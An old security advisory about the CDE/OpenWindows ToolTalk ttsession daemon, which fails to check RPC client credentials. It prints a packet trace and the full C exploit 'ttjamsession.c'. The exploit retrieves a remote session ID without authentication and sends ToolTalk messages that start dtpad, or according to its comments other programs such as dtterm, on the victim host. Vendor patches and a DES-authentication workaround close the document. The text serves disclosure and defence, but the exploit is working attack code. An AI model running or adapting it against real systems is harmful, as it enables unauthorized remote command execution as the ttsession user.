COMMAND

    ttsession

SYSTEMS AFFECTED

    OpenWindows (SunOS 4.1.x and Solaris), CDE (Solaris, AIX, HP, OSF/Digital, others?) and IRIX.

PROBLEM

    Job de Haas found following.  He discovered the following security
    problem in ttsession,  part of CDE.   The ToolTalk session  daemon
    ttsession  does  not  properly  check  client  credentials.    The
    insufficient check can  lead to compromise  of a system  from both
    local  and  remote  with  the  credentials  of  the  user  running
    ttsession.  Note that ttsession is not a system daemon and may not
    be running  all the  time. It  is normally  started as  part of an
    X-session.   Also  client  programs  of  ttsession may restart the
    daemon if it can not be found running.

    The ttsession daemon  is part of  the ToolTalk toolkit  and allows
    applications to send messages to each other.  This is achieved  by
    RPC calls.   The RPC calls  are not properly  authenticated.  When
    sniffing a tt_open request to  a remote host the following  can be
    seen:

        host1 -> host2 TCP D=33169 S=38194 Syn Seq=3510273898 Len=0
        host2 -> host1 TCP D=38194 S=33169 Syn Ack=3510273899 Seq=914492820
        host1 -> host2 TCP D=33169 S=38194     Ack=914492821 Seq=3510273899
        host1 -> host2 RPC C XID=932526186 PROG=1289637086 VERS=4 PROC=0
        host2 -> host1 TCP D=38194 S=33169     Ack=3510273971 Seq=914492821
        host2 -> host1 RPC R (#4) XID=932526186 Success
        host1 -> host2 RPC C XID=932526185 PROG=1289637086 VERS=4 PROC=400
        host2 -> host1 TCP D=38194 S=33169     Ack=3510274043 Seq=914492849
        host2 -> host1 RPC R (#7) XID=932526185 Success
        host1 -> host2 RPC C XID=932526184 PROG=1289637086 VERS=4 PROC=18
        host2 -> host1 RPC R (#10) XID=932526184 Success
        host1 -> host2 RPC C XID=932526183 PROG=1289637086 VERS=4 PROC=11
        host2 -> host1 RPC R (#12) XID=932526183 Success
        host1 -> host2 TCP D=33169 S=38194     Ack=914493001 Seq=3510274267
        host1 -> host2 TCP D=33169 S=38194 Fin Ack=914493001 Seq=3510274267
        host2 -> host1 TCP D=38194 S=33169     Ack=3510274268 Seq=914493001
        host2 -> host1 TCP D=38194 S=33169 Fin Ack=3510274268 Seq=914493001
        host1 -> host2 TCP D=33169 S=38194     Ack=914493002 Seq=3510274268

    This shows how first the NULL procedure of ttsession is called and
    next a procedure with  number 400.  Then  procedure 18 and 11  are
    called.   The  contents  of  the  reply  to  the  PROC=400 call is
    something like:

        host2 -> host1 RPC R (#7) XID=932526185 Success

	           0: 0800 0000 0000 0800 0000 0000 0800 4500    .. tUb.. .v...E.
	          16: 0078 b3ab 4000 ff06 a2bf 7f00 0001 7f00    .x..@...........
	          32: 0001 8191 9532 3682 0db1 d13a 87fb 5018    .....26....:..P.
	          48: 2238 427e 0000 8000 004c 3795 3869 0000    "8B~.....L7.8i..
	          64: 0001 0000 0000 0000 0000 0000 0000 0000    ................
	          80: 0000 0000 002d 5020 3031 2031 3831 3736    .....-P 01 18176
	          96: 2031 3238 3936 3337 3038 3620 3120 3020     1289637086 1 0
	         112: 3130 3030 2031 302e 302e 302e 3130 2034    1000 10.0.0.10 4
	         128: 0000                                       ..

    This  same  string  can  be  found  in  the environment of a shell
    started  as  part  of  a  CDE  X-session  (if  it  was  started by
    ttsession):

        TT_SESSION=01 18176 1289637086 1 0 1000 10.0.0.10 4

    This is also described in the man page for ttession(1).  When this
    strings is looked at more closely, some aspects can be recognized.
    The  number  1289637086  for  example  is  the  RPC program number
    (Solaris  7).   Also  the  IP  of  the  remote  host  can  be seen
    (10.0.0.10).  The number 18176 is the PID of the ttsession process
    and 1000 is the uid of the user running ttsession.

    When playing around with the RPC call to retrieve this string from
    ttsession, Job  discovered it  doesn't need  client credentials to
    match  the  user  which  is  running  ttsession.   Thus anyone can
    retrieve this string from a ttsession daemon!  This combined  with
    the  discovery  that  the  string  is  used by the tt_open call to
    determine the remote ttsession to connect to leads to the  exploit
    code below.   This code uses  a message to  invoke a dtpad  on the
    host running ttsession.  By  using some tricks, it makes  sure the
    dtpad is displayed on the requested DISPLAY.

    Reason why the exploit  may fail:  When  a dtpad has been  display
    on a X-server, it will keep a lock on that server until the  dtpad
    -server process  on the  remote host  has been  terminated.  Until
    that time no  other dtpads from  different hosts can  be displayed
    on that Xserver.   Close the X session  and log back in  again and
    try again.

    /*
     * ttjamsession.c
     * Job de Haas
     * (c) ITSX bv 1999
     *
     * This is a simple ttsession exploit to show some problems with
     * authentication of a remote user. The possibilities after authentication
     * are not limited to starting dtpad, but rather any ptype as can be shown
     * with tt_type_comp. On Solaris this includes dtterm.
     *
     * compile with:
     * cc -L/usr/dt/lib -I/usr/dt/include -I/usr/openwin/include -ltt -lnsl
     *    ttjamsession.c -o ttjamsession
     *
     */

    #include <stdio.h>
    #include <stdlib.h>
    #include <rpc/rpc.h>
    #include <string.h>
    #include <netdb.h>
    #include <arpa/inet.h>
    #include <pwd.h>

    #include <Tt/tt_c.h>
    #include <Tt/tttk.h>

    #define TTSESSION_PROG      1342177279
    #define TTSESSION_PROG_SOL7 1289637086
    #define TTSESSION_VERS      3
    #define TTSESSION_GETSESSID 400

    long rpcprog = TTSESSION_PROG;
    int  version = TTSESSION_VERS;
    long uid = -1;
    int use_env = 0;
    int test = 0;

    /*
     * For some reason the string is not returned with xdr_wrapstring. After
     * some fiddling this seems to work.
     *
     */
    xdr_mystring(xdrs, objp)
            register XDR *xdrs;
            char **objp;
    {
        int	len;

        if (!xdr_int(xdrs, &len)) {
            return 0;
        }

        *objp =  (char *)malloc(len + 1);
        if (xdr_opaque(xdrs, (caddr_t)*objp, len)) {
            (*objp)[len] = '\0';
        } else { return 0; }

        return(1);
    }


    /*
     * This is some generated code by ttsnoop (nice program! at least on sol 2.6)
     * It was modified a bit to get it to spawn the program on the correct display
     */

    Tt_callback_action
    process_Instantiate_reply( Tt_message msg, Tt_message pat );

    Tt_message
    create_Instantiate(
	    Tt_message context,
	    char *action
    )
    {
	    Tt_message msg;
	    msg = tttk_message_create( context, TT_REQUEST, TT_SESSION,
			    0, action,
			    (Tt_message_callback)process_Instantiate_reply );
	    tt_message_arg_add( msg, TT_IN, "data", "data");
	    tt_message_context_set( msg, "$DISPLAY",  getenv("DISPLAY"));
	    tt_message_disposition_set( msg, TT_START);
	    tt_message_handler_ptype_set( msg, "DTPAD");
	    return msg;
    }

    static Tt_callback_action
    process_Instantiate_reply(
	    Tt_message msg,
	    Tt_message pat
    )
    {
	    switch (tt_message_state(msg)) {
		    case TT_SENT:	/* handler is in this process */
		    case TT_STARTED:/* intermediate state */
		    case TT_QUEUED:	/* intermediate state */
		    default:	/* unknown state */
			    return TT_CALLBACK_CONTINUE;
		    case TT_HANDLED:
			    /* ... */
			    break;
		    case TT_FAILED: {
			    int status;
			    char *string;
			    status = tt_message_status( msg );
			    string = tt_message_status_string( msg );

			    printf("message failed with: %s\n",string);
			    /* ... */
			    } break;
	    }
	    tt_message_destroy( msg );
	    return TT_CALLBACK_PROCESSED;
    }

    /*
     * The routine to get the remote sessionid string.
     *
     */
    int
    get_sessionid( remotehost, port)
    char *remotehost;
    ushort port;
    {
        struct sockaddr_in  server_addr;
        enum clnt_stat      clnt_stat;
        struct hostent      *hp;
        struct timeval      timeout;
        CLIENT              *clnt;
        int                 msock;
        char 	            *buf;
        char                *env;
        char                *hostname;
        char                localhost[MAXHOSTNAMELEN];

        memset((char *)&server_addr, 0, sizeof (server_addr));

        if (remotehost) {
            server_addr.sin_family = AF_INET;
            server_addr.sin_addr.s_addr = inet_addr(remotehost);
            if ( server_addr.sin_addr.s_addr == -1 ) {
                if ((hp = gethostbyname(remotehost)) == NULL) {
                    printf("Can't resolve %s\n",remotehost);
                    exit(1);
                }
                memcpy((char *)&server_addr.sin_addr, hp->h_addr, hp->h_length);
                hostname = strdup( remotehost );
            }
        }
        else {
            if (gethostname(localhost, MAXHOSTNAMELEN)<0) {
                perror("gethostname");
                exit(1);
            }
            if (hp = gethostbyname(localhost)) {
                memcpy((char *)&server_addr.sin_addr, hp->h_addr, hp->h_length);
                hostname = strdup( localhost );
            } else {
                server_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
                hostname = strdup( "127.0.0.1" );
            }
        }


        server_addr.sin_family = AF_INET;
        server_addr.sin_port = htons(port);
        msock = RPC_ANYSOCK;
        timeout.tv_sec = 15;
        timeout.tv_usec = 0;

        if ( (clnt = (CLIENT *)clnttcp_create(&server_addr, rpcprog,
                 TTSESSION_VERS, &msock, 10000, 10000)) == NULL) {
            clnt_pcreateerror("clnttcp_create");
            exit(1);
        }

        /*
         * apparently credentials are not checked!
         */
        clnt->cl_auth = authunix_create(hostname, 0, 0, 0, NULL);

        if ((clnt_stat = clnt_call(clnt, TTSESSION_GETSESSID,
                    (xdrproc_t) xdr_void, (caddr_t) 0,
                    (xdrproc_t) xdr_mystring, (caddr_t) &buf,
                    timeout)) != RPC_SUCCESS) {
            clnt_perror(clnt, "get session");
            return(-1);
        }

        /*
         * put TT_SESSION in the environment for tt_open to use.
         */
        env = malloc( strlen("TT_SESSION=") + strlen( buf+2 ) +1);
        strcpy(env,"TT_SESSION=");
        strcat(env,buf+2);
        putenv( env );

        printf("Session ID: %s\n", buf);

        return(0);
    }

    usage(progname)
    char *progname;
    {
        fprintf(stderr,
            "Usage: %s [-p port] [-r rpc prognumber] [-u uid]\n", progname);
        fprintf(stderr,"        [-7] [-t] [-e] hostname\n");
        fprintf(stderr,"[-7] use Solaris 7 default ttsession program number\n");
        fprintf(stderr,"[-t] test the RPC call but not send messages\n");
        fprintf(stderr,"[-e] get TT_SESSION from environment (no RPC call)\n");
        exit(-1);
    }

    int main(argc, argv)
    int argc;
    char **argv;
    {
        char *hostname = NULL;
        struct in_addr addr;
        extern  int optind;
        extern  char *optarg;
        short port = 0;
        char c, *cp;
        Tt_message context, msg;
        char *procid;

        while ((c = getopt(argc, argv, "u:p:r:7et")) != EOF) {

            switch (c) {
                case 'r':
                    rpcprog = atoi(optarg);
                    break;
                case 'p':
                    port = atoi(optarg);
                    break;
                case 'u':
                    uid = atoi(optarg);
                    break;
                case '7':
                    rpcprog = TTSESSION_PROG_SOL7;
                    break;
                case 'e':
                    use_env = 1;
                    break;
                case 't':
                    test = 1;
                    break;
                default:
                    usage(argv[0]);
            }
        }

        if (optind < argc) {
            hostname = strdup(argv[optind++]);
        }

        if (optind < argc) {
            port = atoi(argv[optind++]);
        }

        if (optind < argc) {
            usage(argv[0]);
        }

        /* setup the socket and test correct service */
        if ( !use_env && (get_sessionid( hostname, port ) < 0 )) {
            printf("Failed to properly connect to ttsession\n");
            exit(1);
        }

        if (test) exit(0);

        /*
         * Open up the channel to ttsession. The code uses the TT_SESSION
         * environment var to figure out how.
         */
        if (((procid = tt_open()) == NULL) || (*procid == '\0')) {
            perror("tt_open");
            exit(1);
        }

        /*
         * Now we can send messages... like instantiate a dtpad!
         * Two messages are sent to cause a new dtpad -server to be started
         * so that the dtpad will be displayed on our server even if the local
         * user is also using dtpad. I use sleep cause I can't seem to trigger
         * the callback.
         *
         */
        msg = create_Instantiate(context, NULL);
        tt_message_send(msg);
        sleep(10);
        msg = create_Instantiate(context, "Instantiate");
        tt_message_send(msg);
        sleep(10);

        /* no idea if I got to wait for the callback */

        exit(0);
    }

SOLUTION

    This problem has only been  detected when the ttsession daemon  is
    running with Unix RPC authentication flavor.  This is the default.
    With  options  this  can  be  changed  to, for example, secure-RPC
    (DES).  With CDE it can be configured in /usr/dt/bin/Xsession.

    Compaq Computer Corporation
    ===========================
      This potential security  problem has been  resolved and a  patch
      for this problem has been  made available for Tru64 UNIX  V4.0D,
      V4.0E, V4.0F and V5.0.  This patch can be installed on:

        V4.0D-F, all patch kits
        V5.0, all patch kits

    This solution will be included in a future distributed release  of
    Compaq's Tru64/  DIGITAL UNIX.   This patch  may be  obtained from
    the World Wide Web at the following FTP address:

        http://www.service.digital.com/patches

    The patch file name is SSRT0617_ttsession.tar.Z

    HpUX
    ====
      Install the applicable patch:

        HP-UX release 10.10      In progress;
        HP-UX release 10.20      PHSS_19747;
        HP-UX release 10.24      PHSS_19819;
        HP-UX release 11.00      PHSS_19748.

      HP-UX  release  10.30  was  a  development  release prior to the
      availability of HP-UX release  11.00.  HP-UX release  10.30 will
      not be patched.

    IBM
    ====
      The following APARs will be available soon:

        AIX 4.1.x:  IY03125  IY03847
        AIX 4.2.x:  IY03105  IY03848
        AIX 4.3.x:  IY02944  IY03849

      Customers that do not require the CDE desktop functionality  can
      disable  CDE  by  restricting  access  to  the  CDE  daemons and
      removing the  dt entry  from /etc/inittab.   For customers  that
      require  the  CDE  desktop  functionality,  a  temporary  fix is
      available via anonymous ftp from:

        ftp://aix.software.ibm.com/aix/efixes/security/cdecert.tar.Z

    Sun Microsystems
    ================
      Systems running Solaris  7, 2.6, 2.5.1,  2.5, 2.4, and  2.3, and
      SunOS  4.1.4   and  4.1.3_U1   are  vulnerable   if  the    UNIX
      authentication mechanism (default) is used with ttsession.   The
      use of DES authentication is recommended to resolve this  issue.
      To set the  authentication mechanism to  DES, use the  ttsession
      command with the '-a' option  and specify 'des' as the  argument
      (see  ttsession(1)  for  more  information).   The  use  of  DES
      authentication also  requires that  the system  uses Secure NFS,
      NIS+, or keylogin. For more information about Secure NFS,  NIS+,
      or keylogin, please see the System Administration Guide,  Volume
      II.  Information is also available at:

        http://docs.sun.com:80/ab2/coll.47.8/SYSADV2/@Ab2PageView/34908?DwebQuery=secure+rpc

    Patches for described vulnerability:

        SunOS version Patch ID
        ----------------------
        5.7          107893-04
        5.7_x86      107894-04
        5.6          105802-11
        5.6_x86      105803-13
        5.5.1        104489-10
        5.5.1_x86    105496-08
        5.5          104428-08
        5.5_x86      105495-06
        5.4          102734-05
                     108636-01 (see Note 1)
        5.4_x86      108641-01
                     108637-01 (see Note 1)
        5.3          Patch will be available in 2 weeks
        4.1.4, 4.1.3_U1 Patch will be available in 2 weeks

    Install patch if CDE 1.0.2 or 1.0.1 is installed.